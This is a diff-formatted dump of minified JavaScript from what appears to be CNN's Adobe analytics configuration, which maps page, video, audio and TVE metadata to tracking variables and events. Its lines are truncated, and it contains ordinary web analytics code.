+for(var j=0;j<aryEvent.length;j++)if(aryEvent[j]=="event21")aryEvent.splice(j,1);else if(aryEvent[j]=="event24")aryEvent.splice(j,1);this.v.events=aryEvent.join(",")}if(this.config.map.isDynamic.indexOf("preroll")>-1){this.v.eVar1=this.v.prop1;this.v.prop1="";this.v.prop2=this.v.eVar2="";this.v.eVar3=this.v.prop3;this.v.prop3="";this.v.prop4=this.v.eVar4="";this.v.eVar7=this.v.prop7;this.v.prop7="";this.v.eVar8=this.v.prop8;this.v.prop8="";this.v.prop10=this.v.eVar10="";this.v.prop11=thi [...]
+"";this.v.prop14=this.v.eVar14="";this.v.eVar16=this.v.prop16;this.v.prop16="";this.v.eVar17=this.v.prop17;this.v.prop17="";this.v.eVar20=this.v.prop20;this.v.prop20="";this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar28="";this.v.prop28="";this.v.prop29=this.v.eVar41="";this.v.eVar30=this.v.prop30;this.v.prop30="";this.v.eVar44=_jsmd.plugin.gADBPURL("path",1);this.v.eVar47=this.v.prop47;this.v.prop47="";this.v.prop61=this.v.eVar61="";this.v.eVar62=this.v.prop62;this.v.pr [...]
+this.v.prop68;this.v.prop68="";this.v.prop70=this.v.eVar70="";this.v.prop71=this.v.eVar71="";this.v.eVar74=this.v.prop74;this.v.prop74="";this.v.eVar75=this.v.prop75;this.v.prop75=""}if(this.config.map.isDynamic.indexOf("autoRefresh")>-1||this.config.map.isDynamic.indexOf("toggle")>-1||this.config.map.isDynamic.indexOf("impressions")>-1){this.v.prop4=this.v.eVar4="";this.v.hier1=""}if(this.config.map.isDynamic.indexOf("fifty")>-1||this.config.map.isDynamic.indexOf("complete")>-1||this.co [...]
+-1||this.config.map.isDynamic.indexOf("twentyfive")>-1||this.config.map.isDynamic.indexOf("seventyfive")>-1||this.config.map.isDynamic.indexOf("progress")>-1){if(this.config.map.isDynamic.indexOf("complete")==-1){this.v.prop2=this.v.eVar2="";this.v.prop11=this.v.eVar11="";this.v.eVar17=this.v.prop17;this.v.prop17=""}this.v.server="";this.v.eVar1=this.v.prop1;this.v.prop1="";this.v.eVar3=this.v.prop3;this.v.prop3="";this.v.prop4=this.v.eVar4="";this.v.eVar7=this.v.prop7;this.v.prop7="";th [...]
+this.v.prop8;this.v.prop8="";this.v.eVar10=this.v.prop10;this.v.prop10="";this.v.prop14=this.v.eVar14="";this.v.eVar16=this.v.prop16;this.v.prop16="";this.v.eVar20=this.v.prop20;this.v.prop20="";this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar27=this.v.channel;this.v.channel="";this.v.eVar41=this.v.prop29;this.v.prop29="";this.v.eVar32=this.v.prop32;this.v.prop32="";this.v.eVar33=this.v.prop33;this.v.prop33="";this.v.eVar30=this.v.prop30;this.v.prop30="";this.v.eVar28=th [...]
+this.v.prop28="";this.v.eVar44=this.v.prop41;this.v.eVar45=this.v.prop42;this.v.eVar34=this.v.prop34;this.v.eVar61=this.v.prop61;this.v.prop61="";this.v.eVar62=this.v.prop62;this.v.prop62="";this.v.eVar66=this.v.prop66;this.v.prop66="";this.v.eVar68=this.v.prop68;this.v.prop68="";this.v.eVar70=this.v.prop70;this.v.prop70="";this.v.eVar71=this.v.prop71;this.v.prop71="";this.v.eVar74=this.v.prop74;this.v.prop74="";this.v.eVar75=this.v.prop75;this.v.prop75=""}if(this.config.map.isDynamic.in [...]
+-1||this.config.map.isDynamic.indexOf("audio")>-1){this.v.prop4=this.v.eVar4="";this.v.eVar32=this.v.prop32;this.v.prop32=""}if(this.config.map.isDynamic.indexOf("video-start")>-1||this.config.map.isDynamic.indexOf("video-autostart")>-1||this.config.map.isDynamic.indexOf("video-page")>-1){this.v.prop4=this.v.eVar4="";this.v.prop14=this.v.eVar14="";this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar27=this.v.channel;this.v.channel="";this.v.eVar28=this.v.prop28;this.v.prop28 [...]
+-1){this.v.prop4=this.v.eVar4="";this.v.prop7=this.v.eVar7="";this.v.prop14=this.v.eVar14="";this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar27=this.v.channel;this.v.channel="";this.v.eVar28=this.v.prop28;this.v.prop28="";this.v.prop71=this.v.eVar71="";this.v.events="event1,event32"}if(this.config.map.isDynamic.indexOf("photo-page")>-1){if(jsmdIsInit)jsmdIsInit=false;else{this.v.eVar6="";var is_full_gallery=0;try{if(cnn_metadata.full_gallery=="1")is_full_gallery=1}catch( [...]
+"";this.v.eVar7="";this.v.eVar61="";this.v.eVar68="";this.v.eVar71="";this.v.eVar41=""}if(this.config.map.isDynamic.indexOf("social-click")>-1){this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar27=this.v.channel;this.v.channel="";this.v.events="event76";this.v.linkTrackVars="prop69,eVar69,events,eVar26,eVar27"}if(this.config.map.isDynamic.indexOf("vid-button")>-1){this.v.pageName=this.v.channel=this.v.server=this.v.events=this.v.hier1="";this.v.prop8=this.v.prop17=this.v.p [...]
+this.v.prop30=this.v.prop32=this.v.prop33=this.v.prop34=this.v.prop35=this.v.prop41=this.v.prop42="";this.v.eVar1=this.v.eVar7=this.v.eVar8=this.v.eVar10=this.v.eVar11=this.v.eVar16=this.v.eVar17=this.v.eVar26=this.v.eVar27=this.v.eVar28=this.v.eVar29=this.v.eVar30=this.v.eVar32=this.v.eVar33=this.v.eVar34=this.v.eVar41=this.v.eVar44=this.v.eVar45=this.v.eVar66=this.v.eVar68=""}if(this.config.map.isDynamic.indexOf("game-interaction")>-1){this.v.pageName="";this.v.linkTrackVars="events,pr [...]
+-1){this.v.eVar26=this.mdata.page.name;this.v.pageName="";this.v.eVar27=this.v.channel;this.v.channel="";this.v.eVar32=this.v.prop32;this.v.prop32="";this.v.eVar33=this.v.prop33;this.v.prop33="";this.v.events="event76"}}if(this.config.map.isDynamic!=null&&typeof this.config.map.isDynamic==="string"&&this.config.map.isDynamic.indexOf("tve-")>-1)if(this.config.map.isDynamic.indexOf("tve-live_video-start")>-1||this.config.map.isDynamic.indexOf("tve-cnn_video-start")>-1)this.v.pageName=this. [...]
+this.v.eVar20=this.v.eVar26=this.v.eVar27=this.v.eVar28=this.v.eVar30=this.v.eVar32=this.v.eVar33=this.v.eVar34=this.v.eVar44=this.v.eVar66="";var pageTemplateType=this.get("page.template_type");if(pageTemplateType&&pageTemplateType=="adbp:error")this.v.pageType="errorPage";var s_vendor=this.get("business.vendor.sitecatalyst");if(s_vendor!=""&&s_vendor!=null){var unl=this.v._jsmd.unset_list;for(var p in s_vendor){var pv=p;this.v[pv]=s_vendor[pv];if(pv.toLowerCase().indexOf("prop")!=-1||p [...]
+-1)try{unl.push([i]+"")}catch(e){}}try{if(s_vendor.linkType){this.v.linkType=s_vendor.linkType;if(s_vendor.linkType==="e"&&jsmd.exitLinkVal)this.v.pev1=s_vendor.linkName?s_vendor.linkName:""}if(s_vendor.linkName)this.v.linkName=s_vendor.linkName;if(s_vendor.account)this.v.fun=this.v.oun=this.v.un=s_vendor.account;if(s_vendor.linkTrackVars){var stg=s_vendor.linkTrackVars+"";stg=stg.replace(/evar/gi,"eVar");this.v.linkTrackVars=stg}if(s_vendor.linkTrackEvents)this.v.linkTrackEvents=s_vendo [...]
+_jsmd_default.version+":"+_jsmd_default.release;this.v.eVar35="D=c35";if(_w.cnnad_transactionID){this.v.prop46=_w.cnnad_transactionID;this.v.eVar46="D=c46"}var guid=_jsmd.plugin.gCookie("ug");if(guid){this.v.prop47=guid;this.v.eVar47="D=c47"}}},adbp:{filters:{"quiz-interaction":{include:["page.name","business.cnn.page.section[0]","page.template_type","page.content_type"]}},settings:{trackInlineStats:true,linkLeaveQueryString:false},variablemap:{"m:page.name":["pageName","eVar26"],"busine [...]
+"eVar27"],"m:page.domain":["server","eVar29"],"m:page.clean_url":["prop26"],"m:search.internal.number_results":["prop27"],"business.cnn.page.section[1]":["prop28","eVar28"],"m:video.title":["prop29","eVar41"],"m:business.friendly_name":["prop30","eVar30"],"m:page.franchise":["prop31","eVar31"],"m:page.template_type":["prop32","eVar32"],"m:page.content_type":["prop33","eVar33"],"m:user.authenticated":["prop34","eVar34"],"m:code.version":["prop35","eVar35"],"m:user.segment":["prop36","eVar [...]
+"eVar39"],"m:time":["prop40","eVar40"],"m:page.url_section[0]":["prop41","eVar44"],"m:page.url_section[1]":["prop42","eVar45"],"m:video.id":["eVar42"],"m:promo.internal.id":["eVar43"],"m:page.transaction_id":["prop46","eVar46"],"m:page.gu_id":["prop47","eVar47"],"m:promo.internal.implied":["eVar48"],"m:promo.external.id":["campaign"],"m:business.lob|m:business.brand|m:business.friendly_name|m:page.reportDomain|m:business.cnn.page.section[0]|m:business.cnn.page.section[1]":["hier1"],delim [...]
+eventmap:{"m:page.name":["event26"],"page.view":["event26"],"search.internal.keyword":["event27"],"registration.complete":["event28"],"promo.internal.id":["event31"],"video.start":["event32"],"video.complete":["event33"],"video.autostart":["event34,event32"],"ad.start.preroll":["event35"],"video.timespent":["event36"],"user.login":["event37"],"blog.read":["event38"],"article.read":["event39"],"video.timespent":["event29"],"product.view":["prodView"],"product.multiview":["prodView"],"cart [...]
+"cart.new":["scOpen"],"checkout.start":["scCheckout"],"purchase.complete":["purchase"]},premap:function(){},postmap:function(){try{this.v.prop8=this.v.prop8.replace(/\|/,":")}catch(e){}}},tve:{filters:{"tve-cnn_video-start":{include:["tve.video.cnn.","tve.page.name","tve.brand","tve.host_location","tve.syndication_channel","tve.content_id","tve.video_title","tve.time_parting","tve.products","tve.player_location","tve.mode"]},"tve-cnn_video-complete":{include:["tve.page.name","tve.video.c [...]
+"tve-cnn_video-progress":{include:["tve.video.cnn.","tve.time_parting","tve.products"]}},variablemap:{"tve.page.name":["pageName"],"tve.brand":["prop1","eVar1"],"tve.host_location":["prop2","eVar2"],"tve.syndication_channel":["prop4","eVar4"],"tve.content_id":["prop5","eVar5"],"tve.mode":["prop8","eVar8"],"tve.video_title":["prop12"],"tve.video.live.stream":["prop14","eVar14"],"tve.video.adload":["prop15","eVar15"],"tve.video.authentication":["prop16","eVar16"],"tve.products":["products" [...]
+"eVar17"],"tve.player_location":["prop11","eVar11"],delimiter:"|"},eventmap:{"tve.page.view":["event15"],"tve.video.cnn.video_start":["event13"],"tve.video.cnn.video_progress":["event6,event20"],"tve.video.live.video_start":["event13,event27"],"tve.video.offair.video_start":["event13,event25"],"tve.video.live.video_progress":["event16,event20"],"tve.video.live.video_complete":["event14,event16,event26"]},premap:function(){},postmap:function(){}},"adbp-video":{filters:{"video-preroll":{in [...]
+"business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.section[1]","video.preroll","video.midroll","video.partner_star [...]
+"preview-video":{include:["business.cnn.video.ad_duration","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.sect [...]
+"video-progress":{include:["business.cnn.video.ad_duration","business.cnn.video.source","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_wat [...]
+"video.partner_start","video.ad_start","video.complete","business.cnn.video.sequence"]},"video-ten":{include:["business.cnn.video.start_type","business.cnn.video.source","business.cnn.video.ad_duration","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendl [...]
+"page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.section[1]","video.partner_start","video.ad_start","video.ten","business.cnn.video.sequence"]},"video-twentyfive":{include:["business.cnn.video.start_type","business.cnn.video.source","business.cnn.video.ad_duration","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.p [...]
+"business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.section[1]","video.partner_start","video.ad_start","video.twentyfive","business.cnn.video.sequence"]},"video-fifty":{include:["business.cnn.video.start_type","business.cnn.video.source","business.cnn.video.ad_duration","business.cnn.video. [...]
+"business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.section[1]","video.partner_start","video.ad_start","video.fifty","business.cnn.video.sequence"]}, [...]
+"business.cnn.video.source","business.cnn.video.ad_duration","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_count","video.title","video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.se [...]
+"video.partner_start","video.ad_start","video.seventyfive","business.cnn.video.sequence"]},"video-complete":{include:["business.cnn.video.start_type","business.cnn.video.source","business.cnn.video.air_syndication","business.cnn.video.ad_duration","business.cnn.video.video_player","business.cnn.video.video_section","business.cnn.video.video_length","business.cnn.page.visit_number.$30Day","business.cnn.page.publish_date","business.cnn.page.flashversion","business.cnn.page.video_embed_coun [...]
+"video.id","business.friendly_name","page.content_type","page.domain","page.section[0]","page.template_type","code.version","video.duration_watched","business.cnn.page.section[1]","video.partner_start","video.ad_start","video.complete","business.cnn.video.sequence"]}},variablemap:{"business.cnn.video.video_player":["prop1","eVar1"],"business.cnn.video.video_section":["prop3","eVar3"],"business.cnn.video.video_length":["prop7","eVar7"],"business.cnn.page.visit_number.$30Day":["prop8","eVa [...]
+"eVar10"],"business.cnn.page.publish_date":["prop16","eVar16"],"business.cnn.page.flashversion":["prop20","eVar20"],"business.cnn.video.video_collection":["prop60","eVar60"],"business.cnn.video.air_syndication":["prop61","eVar61"],"business.cnn.video.video_interaction":["prop66","eVar66"],"business.cnn.video.ad_duration":["prop68","eVar68"],"business.cnn.video.start_type":["prop70","eVar70"],"business.cnn.video.source":["prop71","eVar71"],"business.cnn.video.sequence":["eVar21"],"busines [...]
+"m:page.name":["pageName","eVar26"],"business.cnn.page.section[0]":["channel","eVar27"],"business.cnn.page.section[1]":["prop28","eVar28"],"m:page.domain":["eVar29"],"m:video.title":["prop29","eVar41"],"m:video.id":["eVar42"],"m:business.friendly_name":["prop30","eVar30"],"m:page.template_type":["prop32","eVar32"],"m:page.content_type":["prop33","eVar33"],"m:code.version":["prop35","eVar35"],"m:promo.internal.id":["eVar43"],"m:promo.internal.implied":["eVar48"],"m:promo.external.id":["ca [...]
+"m:video.products":["products"],delimiter:"|"},eventmap:{"video.live":["event1","event32"],"video.fifty":["event2"],"video.partner_start":["event22"],"video.ad_start":["event23"],"video.midroll":["event25"],"video.start":["event32"],"video.complete":["event33"],"video.autostart":["event34,event32"],"video.preroll":["event35"],"m:video.duration_watched":["event36"],"page.view":["event26"],"video.ten":["event40"],"video.twentyfive":["event41"],"video.seventyfive":["event42"],"video.preview [...]
+"video.interaction":["event66"],"video.sync":["event77"]},premap:function(){},postmap:function(){try{this.v.prop8=this.v.prop8.replace(/\|/,":")}catch(e){}}},"adbp-audio":{variablemap:{"business.cnn.audio.audio_title":["prop24","eVar24"],"m:page.section[0]":["eVar27"],"m:page.section[1]":["eVar28"],"m:page.domain":["eVar29"],"m:business.friendly_name":["eVar30"],"m:page.template_type":["prop32","eVar32"],"m:page.content_type":["prop33","eVar33"],"m:code.version":["prop35","eVar35"],"m:pr [...]
+"m:promo.internal.implied":["eVar48"],"m:promo.external.id":["campaign"],"m:video.products":["products"],delimiter:"|"},eventmap:{"audio.start":["event11"]},premap:function(){},postmap:function(){}},"cnn-autorefresh":{filters:{"dynamic-autoRefresh":{include:["page.lateral_navigation"]}},settings:{linkTrackVars:"pageName,g,channel,events,prop9"},variablemap:{"business.cnn.page.lateral_navigation":["prop9","eVar9"]},eventmap:{},premap:function(){},postmap:function(){}},"cnn-impressions":{f [...]
+"content.impressions"]}},settings:{linkTrackVars:"events,prop18,eVar18"},variablemap:{"business.cnn.page.impressions":["prop18","eVar18"]},eventmap:{"content.impressions":["event16"]},premap:function(){},postmap:function(){}}}},plugins:{gCNNPageName:function(){var pn=_jsmd.plugin.gADBPPageName();return pn.replace(":us","")},gCNNReportDomain:function(){var rd=_jsmd.plugin.gADBPURL("domain");return rd.replace(/^us\./,"")},gCNNVideoCollection:function(){return{get:function(i,p){var vplayer= [...]
+for(var j=vplayer.length-1;j>=0;j--)if(vplayer[j].videoId==i)return vplayer[j][p]},set:function(i,p,v){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length-1;j>=0;j--)if(vplayer[j].videoId==i){vplayer[j][p]=v;break}},toggle:function(i,p){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length-1;j>=0;j--)if(vplayer[j].videoId==i){var v=vplayer[j][p];vplayer[j][p]=!v;break}},start:function(i,t){var vplayer=_jsmd.plugin.md.get("video.players");for(var [...]
+1;j>=0;j--)if(vplayer[j].videoId==i)vplayer.splice(j,1);vplayer.push(new objVplayer(i,t));function objVplayer(videoId,videoTitle){this.videoId=videoId;this.videoTitle=videoTitle;this.hasScrubbed=false;this.isTen=false;this.isTwentyFive=false;this.isHalf=false;this.isSeventyFive=false;this.isBuffering=false;this.isPaused=false;this.startTime=(new Date).getTime();this.timeSpent=0;this.adNumber=0}},pause:function(i){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length-1 [...]
+i){var p=vplayer[j].isPaused;var b=vplayer[j].isBuffering;if(!b)if(p)vplayer[j].startTime=(new Date).getTime();else{var playedTime=(new Date).getTime()-vplayer[j].startTime+vplayer[j].timeSpent;vplayer[j].timeSpent=playedTime}vplayer[j].isPaused=!p;break}},buffer:function(i){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length-1;j>=0;j--)if(vplayer[j].videoId==i){var p=vplayer[j].isPaused;var b=vplayer[j].isBuffering;if(!p)if(b)vplayer[j].startTime=(new Date).getTime [...]
+(new Date).getTime()-vplayer[j].startTime+vplayer[j].timeSpent;vplayer[j].timeSpent=playedTime}vplayer[j].isBuffering=!b;break}},progress:function(i){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length-1;j>=0;j--)if(vplayer[j].videoId==i){var playedTime=((new Date).getTime()-vplayer[j].startTime)/1E3;vplayer[j].startTime=(new Date).getTime();return Math.round(playedTime)}},complete:function(i){var vplayer=_jsmd.plugin.md.get("video.players");for(var j=vplayer.length [...]
+i){var playedTime=((new Date).getTime()-vplayer[j].startTime+vplayer[j].timeSpent)/1E3;return Math.round(playedTime)}}}},gCNNSection:function(position){var section=cnn_metadata.section[position]?cnn_metadata.section[position]:"";return section},gCNNTemplateType:function(lookupType){var templateTypeCode=cnn_metadata.template_type;var adbpprefix="adbp:",rval=["o","other"];var lookup={b:"blog",g:"game",it:"interactive",c:"content","in":"index",err:"error",e:"ecom",s:"signup",v:"video",sf:"s [...]
+sr:"search results",fm:"forum",o:"other",ir:"ireport",sp:"specials",pm:"perfect market",bf:"blog front",bc:"blog category",t:"topic",w:"weather",el:"election"},lookupRev={blog:"b",game:"g",interactive:"it",content:"c",index:"in",error:"err",ecom:"e",signup:"s",video:"v","section front":"sf","search results":"sr",forum:"fm",other:"o",ireport:"ir",specials:"sp","perfect market":"pm","blog front":"bf","blog category":"bc",topic:"t",weather:"w",election:"el"};if(lookup[templateTypeCode]!=nul [...]
+lookup[templateTypeCode]];if(lookupRev[templateTypeCode]!=null)rval=[lookupRev[templateTypeCode],templateTypeCode];var parameters={c1:"ireport",c2:"search results",c3:"perfect market",c4:"specials",c5:"blog front",c6:"blog category",c7:"topic",c8:"weather",c9:"election"};for(p in parameters)if(templateTypeCode==parameters[p])adbpprefix="other:";rval[1]=adbpprefix+rval[1];if(lookupType=="short")rval=rval[0];if(lookupType=="long")rval=rval[1];return rval},gCNNContentType:function(defaultVa [...]
+this.md.get("page.template_type"),ct=this.md.get("page.content_type"),l={"adbp:blog":["blog.read","adbp:blog read"],"adbp:content":["article.read","adbp:article read"],"adbp:game":["game.play","adbp:game played"],"other:ireport":["other.ireport","other:ireport"],"other:photo wall":["content.interactive","other:photo wall"]}[tt],m={"adbp:article read":"article.read"}[ct];if(m!=null){this.md.push("page.events",m);return ct}if(!l)return defaultVal;this.md.push("page.events",l[0]);return l[1 [...]
+c2,truevalue,falsevalue,neutralvalue,flag){var rValue=0;if(this.gCookie(c1,flag))rValue++;if(this.gCookie(c2,flag))rValue++;if(rValue==0)return falsevalue;else if(rValue==1)return neutralvalue;else return truevalue},gCNNFlashVersion:function(){var version="0,0,0";try{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");try{axo.AllowScriptAccess="always"}catch(e){version="6,0,0"}}catch(e){}version=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").rep [...]
+",").match(/^,?(.+),?$/)[1]}catch(e){try{if(navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin)version=(navigator.plugins["Shockwave Flash 2.0"]||navigator.plugins["Shockwave Flash"]).description.replace(/\D+/g,",").match(/^,?(.+),?$/)[1]}catch(e){}}return version.split(",").shift()},gCNNgetAuthor:function(){var cnnOmniauthor=cnn_metadata.business.cnn.page.author?cnn_metadata.business.cnn.page.author:"";if(!cnnOmniauthor)if(document.getElementsByName("AUTHOR").item(0))cnn [...]
+document.getElementsByName("AUTHOR").item(0).content;return cnnOmniauthor},gCNNgetLatNav:function(){var cnnLateralNav=this.gQuery("iref");if(this.gQuery("refresh"))cnnLateralNav="auto-refresh";return cnnLateralNav},gIreportgetMember:function(){var irptMember=this.gCNNAuthenticated("authid","displayname","member","anonymous","NonMember","?");return irptMember},gIreportOnCNN:function(){var irptonCNN;if(_w.cnnOmniPartner=="iReport")irptonCNN="Yes";else irptonCNN="No";return irptonCNN},gIrep [...]
+if(this.gQuery("topicId"))irptAllAssignment=_w.irptAssign+" ID: "+this.gQuery("topicId");else if(this.gJObj(cnn_metadata,"business.cnn.page.topic"))irptAllAssignment=_w.irptAssign+" ID: "+this.gJObj(cnn_metadata,"business.cnn.page.topic");return irptAllAssignment},gCNNDaysSinceLastPublish:function(d){var e=new Date;var p;var j;if(d=="a"){d=cnn_metadata.business.cnn.page.publish_date;j=new Date(d)}else if(d.toString().indexOf("/")!=-1){p=d.split("/");if(p[0].length!=4){p[2]="20"+p[2];j=ne [...]
+"/"+p[0]+"/"+p[1])}else j=new Date(d)}else j=new Date(d);var ONE_DAY=1E3*60*60*24;var date1_ms=e.getTime();var date2_ms=j.getTime();var difference_ms=Math.abs(date1_ms-date2_ms);var days=Math.round(difference_ms/ONE_DAY);if(isNaN(days))return"";return Math.round(difference_ms/ONE_DAY).toString()},gCNNgetPageAttribution:function(){var cnnPA=this.gQuery("hpt");if(document.referrer.indexOf("cnn.com")==-1)cnnPA="";return cnnPA},gCNNgetPhotoImage:function(){var cnnImg=this.gJObj(cnn_metadata, [...]
+return cnnImg},gCNNURL:function(){var hostname=_w.location.hostname;var pathname=_w.location.pathname;pathname=pathname.replace(/([^\/]+\.[^\/]+$)/,"");return hostname+pathname},sTVEPlayerLocation:function(_val){var loc=_val;jsmd.set("tve.player_location",loc)},gIreportgetMetaContents:function(mn){var m=document.getElementsByTagName("meta");for(var i in m)if(m[i].name==mn)return m[i].content},gCNNgetBrandingPartner:function(){var contentPartner=cnn_metadata.business.cnn.page.branding_par [...]
+_w.cnnOmniPartner||"";return contentPartner},gCNNgetBrandingAd:function(){var contentAd=cnn_metadata.business.cnn.page.branding_ad?cnn_metadata.business.cnn.page.branding_ad:_w.cnnOmniBranding||"";return contentAd},gCNNgetCookie:function(name){var cookie=this.cookie.get(name);return cookie},gADBPCampaignStacking:function(the_cookie,param_ref,expiration,max_storage){var s=this.vendor.Adobe.plugins();var p1,p2,p3,p4,p5,p6,p7;p1=this.get(param_ref);p2=the_cookie;p3=expiration||30;p4=max_sto [...]
+"|";return s.campstack.call(s,p1,p2,p3,p4,p5)},gADBPTranslateTemplateType:function(templateTypeCode,lookupType){var adbpprefix="adbp:",rval=["o","other"];var lookup={b:"blog",g:"game",it:"interactive",c:"content","in":"index",err:"error",e:"ecom",s:"signup",v:"video",sf:"section front",o:"other"},lookupRev={blog:"b",game:"g",interactive:"it",content:"c",index:"in",error:"err",ecom:"e",signup:"s",video:"v","section front":"sf",other:"o"};if(lookup[templateTypeCode]!=null)rval=[templateTyp [...]
+if(lookupRev[templateTypeCode]!=null)rval=[lookupRev[templateTypeCode],templateTypeCode];rval[1]=adbpprefix+rval[1];if(lookupType=="short")rval=rval[0];if(lookupType=="long")rval=rval[1];return rval},gADBPTemplateType:function(defaultString,patterns,matchStrings,bsRules,bsMatchStringIndex){var apre="adbp:",bpre="other:",i=bsMatchStringIndex,rval,adbptype="o";i=!i?0:i;var mpt=matchStrings[i],md=patterns,bs=bsRules,t,t2,check;mpt=!mpt?"":mpt.toLowerCase();t2=!bs?null:bs[mpt];if(t2!=null){a [...]
+rval=adbptype==="o"&&t2.length<2?mpt:t2[1]}else if(md!=null)for(m in md){t=chkMatch(matchStrings[md[m][0]],md[m],m);if(t){adbptype=t;break}}function chkMatch(checkStr,reArray,val){var i,rval=false,re;for(i=reArray.length-1;i>0;i--){re=reArray[i];rval=rval||(re.exec(checkStr)!=null?true:false)}return!rval?null:val}t2=adbptype.split(":");if(t2.length==2){rval=t2[1];adbptype=t2[0]}var x=this.gADBPTranslateTemplateType(adbptype,"long");return{full:adbptype==="o"&&t2[1]?bpre+rval:x,small:adbp [...]
+lvl){var hostname=_w.location.hostname.toLowerCase();var pathname=_w.location.pathname.toLowerCase();pathname=pathname.replace(/([^\/]+\.[^\/]+$)/,"");var rval;switch(type){case "domain":hostname=hostname.replace("www.","");if(lvl==parseFloat(lvl)){var domain_array=hostname.split(".");var currentPointer=domain_array.length-lvl;var currentDomainLevel=currentPointer>=0?domain_array[currentPointer]:"";rval=currentDomainLevel}else rval=hostname;break;case "path":var pathname2=pathname.substr [...]
+pathname2.split("/");if(lvl==parseFloat(lvl)&&lvl>=1){var currentPathname=path_array.length>=lvl?path_array[lvl-1]:"";rval=currentPathname}else rval=pathname;break;case "hier":hostname=hostname.replace("www.","");var path_array=pathname.substring(1).split("/");var h1=hostname+"/"+path_array[0];var h2=h1;if(path_array[1])h2=h2+"/"+path_array[1];rval=[h1,h2];break;default:rval=hostname+pathname}return rval},gADBPContentType:function(defaultVal){var tt=this.md.get("page.template_type"),ct=t [...]
+l={"adbp:blog":["blog.read","adbp:blog read"],"adbp:content":["article.read","adbp:article read"],"adbp:game":["game.play","adbp:game played"]}[tt],m={"adbp:article read":"article.read"}[ct];if(m!=null){this.md.push("page.events",m);return ct}if(!l)return defaultVal;this.md.push("page.events",l[0]);return l[1]},gADBPPageName:function(pathname,delimiter){var s_pageName="";if(!delimiter)delimiter=":";var ttbefore=this.md.get("page.template_type");if(ttbefore){ttbefore=ttbefore.replace(/adb [...]
+_jsmd.plugin.gADBPTranslateTemplateType(ttbefore,"short")}else var templateTypeSmall="o";var buc_p32=this.md.get("business.name")+delimiter+templateTypeSmall;var thirdLevelDomain=_jsmd.plugin.gADBPURL("domain",3);var fullDomain=_jsmd.plugin.gADBPURL("domain");var lastTwoDomain=/(\.\w+\.\w+)$/.exec(fullDomain);if(lastTwoDomain)thirdLevelDomain=fullDomain.replace(lastTwoDomain[0],"");if(!pathname){var p=_w.location.pathname.toLowerCase();var a=p.split("/");var l=a.length;var r=/^index./;pa [...]
+1])?p.replace(/([^\/]+\.[^\/]+$)/,""):p;r=/([^\/]+\.[^\/]+$)/;if(!r.test(pathname)){l=pathname.length;if(pathname.charAt(l-1)!=="/")pathname=pathname+"/"}}var pageNameLen,r_len;if(thirdLevelDomain==""){pageNameLen=buc_p32.length+1+pathname.length;if(pageNameLen<=100)s_pageName=buc_p32+delimiter+pathname;else{r_len=pageNameLen-100;s_pageName=buc_p32+delimiter+pathname.substring(r_len)}}else{pageNameLen=buc_p32.length+1+thirdLevelDomain.length+1+pathname.length;if(pageNameLen<=100)s_pageNa [...]
+delimiter+thirdLevelDomain+delimiter+pathname;else if(thirdLevelDomain.length<=5){r_len=pageNameLen-100;s_pageName=buc_p32+delimiter+thirdLevelDomain+delimiter+pathname.substring(r_len)}else{thirdLevelDomain=thirdLevelDomain.substring(0,5);pageNameLen=buc_p32.length+1+thirdLevelDomain.length+1+pathname.length;if(pageNameLen<=100)s_pageName=buc_p32+delimiter+thirdLevelDomain+delimiter+pathname;else{r_len=pageNameLen-100;s_pageName=buc_p32+delimiter+thirdLevelDomain+delimiter+pathname.subs [...]
